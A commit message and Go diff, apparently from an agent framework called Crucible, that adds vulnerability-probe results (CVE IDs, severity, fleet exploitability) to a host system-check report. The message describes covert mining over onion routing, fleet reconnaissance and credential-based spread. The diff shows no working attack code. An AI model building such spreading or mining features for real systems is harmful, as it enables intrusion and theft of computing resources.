Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/syscheck.go

@@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
 	collectSysCheckPlatform(r)
 
 	r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
+	if vr := RunVulnLOTLProbe(); vr != nil {
+		score := vr.RiskScore
+		r.VulnRiskScore = &score
+		if len(vr.Findings) > 0 {
+			r.VulnFindings = make([]struct {
+				CVEID                     string `json:"cve_id"`
+				Severity                  string `json:"severity"`
+				Component                 string `json:"component"`
+				Patched                   bool   `json:"patched"`
+				ExploitableInFleetContext bool   `json:"exploitable_in_fleet_context"`
+				Detail                    string `json:"detail,omitempty"`
+			}, len(vr.Findings))
+			for i, f := range vr.Findings {
+				r.VulnFindings[i].CVEID = f.CVEID
+				r.VulnFindings[i].Severity = f.Severity
+				r.VulnFindings[i].Component = f.Component
+				r.VulnFindings[i].Patched = f.Patched
+				r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
+				r.VulnFindings[i].Detail = f.Detail
+			}
+		}
+	}
 
 	if dir, err := cfg.InstallDirectory(); err == nil {
 		if r.Environment == nil {